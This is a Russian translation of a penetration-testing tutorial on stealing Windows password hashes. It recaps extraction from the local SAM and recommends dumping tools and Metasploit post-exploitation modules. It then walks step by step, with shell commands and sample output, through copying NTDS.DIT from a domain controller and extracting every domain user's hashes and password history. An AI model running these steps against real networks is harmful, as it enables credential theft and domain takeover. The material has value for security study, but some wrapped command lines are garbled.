Автор: Bernardo Damele A. G
Итоги по SAM
В предыдущей части, говорилось о Менеджере безопасности учетных записей Windows (SAM), и как достать из SAM захешированные пароли локальных учетных записей.
Cуществует три метода получения хешей:
- через теневое копирование томов
- через унаследованные возможности Windows
- внедрение в память процесса.
Советую ознакомится с электронной таблицей в которой описаны наиболее популярные утилиты для получения хешей из памяти процесса.
Если есть возможность копировать файлы между вашим компьютером и целевой станцией, то сначала копируйте файлы SYSTEM и SAM с целевого компьютера, а уже после получайте хеши паролей в оффлайне.
Правда, обычное копирование файлов не гарантирует, получение хешей всех локальных пользователей. Если через файлы не удалось достать хеши всех учеток, то придется получать их из памяти.
Рекомендуемые инструменты
Pwdump7 - работает на 32-x и 64-х битных Windows, начиная с Windows 2000. Правда, pwdump7 не умеет получать хешированные пароли из памяти. Поэтому используйте pwdump7 совместно с gsecdump.
Если на целевом компьютере не удалось воспользоваться Metasploit Meterpreter, попробуйте пост-эксплойт smart_hashdump:
- github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/smart_hashdump.rb
Если и smart_hashdump не заработает, то пробуйте к его предыдущую версию – hashdump:
- github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb
Active Directory
Active Directory - централизованное хранилище для управления доменной сетью и ее безопасностью. В ее функции входит авторизация и аутентификация пользователей внутри домена Windows, выполнение и создание политик безопасности […] При входе пользователя в ОС на станции, состоящей в домене, именно Active Directory сверяет пароли […]
Если необходимо контролировать весь домен, то необходим доступ к корневому доменному контроллеру.
Есть много информации о том, как повысить права в домене, например в блоге pentestmonkey.net есть вся нужная информация о повышении прав.
Есть вероятность, что администратором используется один и тот же пароль локального администратора на всех компьютерах домена. В этом случае, достаточно узнать с помощью keimpx пароль только на одном компьютере, и контроллер домена в ваших руках!
На данном этапе наша цель это запуск консоли с правами администратора на контроллере домена.
Файл базы данных NTDS.DIT
Теперь цель: хешированные пароли пользователей домена. Пароли, как и почти вся информация Active Directory, находится в файле %SystemRoot%\ntds\NTDS.DIT. Файл NTDS.DIT заблокирован системой. Для получения файлов NTDS.DIT и SYSTEM используйте службу теневого копирования, как описывалось ранее.
Также, можно воспользоваться функцией создания снимка с помощью утилиты ntdsutil:
- technet.microsoft.com/en-us/library/cc753343(v=ws.10).aspx
впервые такая функция появилась в Windows Server 2008. Ntdsutil сделает снимок базы данных Active Directory, благодаря чему вы сможете получить файлы ntds.dit и SYSTEM. Как сделать снимок читайте в статье Microsoft TechNet:
- technet.microsoft.com/en-us/library/cc753609%28WS.10%29.aspx
Получение хешей из NTDS.DIT
Для получения хешей из ntds.dit воспользуйтесь Windows Password Recovery Tool или ntds_dump_hash.zip:
- passcape.com/windows_password_recovery
- ntdsxtract.com/downloads/ntds_dump_hash.zip
ntds_dump_hash.zip позволит:
- извлечь нужные таблицы из ntds.dit: esedbdumphash
- получить хеши и сведения об учетных записях: dsdump.py, dsuserinfo.py, dsdumphistory.py.
Скачайте и скомпилируйте ntds_dump_hash.zip:
$ wget http://www.ntdsxtract.com/downloads/ntds_dump_hash.zip
$ unzip ntds_dump_hash.zip
$ cd libesedb
$ ./configure && make
Воспользуйтесь esedbdumphash, для извлечения таблицы datatable из ntds.dit:
$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable
С помощью dsdump.py получите хеши из таблицы datatable, через bootkey (SYSKEY) из куста SYSTEM:
$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py /tmp/output.export/datatable --include-locked
--include-disabled > domain_hashes.txt
Фреймворк ntdsxtract.com вместе с утилитой libesedb также умеют (корректно работают в 64-bit ОС позволяет извлекать информацию из базы данных ntds.dit.
Установите последнюю версию libesedb.
Извлеките таблицы из ntds.dit:
$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.
$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[...]
С помощью фреймворка NTDSXtract извлеките из таблицы datatable захешированные пароли и историю паролей:
~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3
/tmp/ntds.dit.export/link_table.5 --passwordhashes --
passwordhistory --certificates --supplcreds file> --membership > /tmp/ntds.dit.output
Используйте этот скрипт:
- raw.github.com/inquisb/miscellaneous/master/ntdstopwdump.py
для преобразования результатов работы dsusers.py в более привычный вид:
$ python ntdstopwdump.py /tmp/ntds.dit.output
Administrator:500:NO
PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::
Guest:501:NO PASSWORD*********************:NO
PASSWORD*********************:::
[...]
Оригинал: securitylab.ru/analytics/425179.php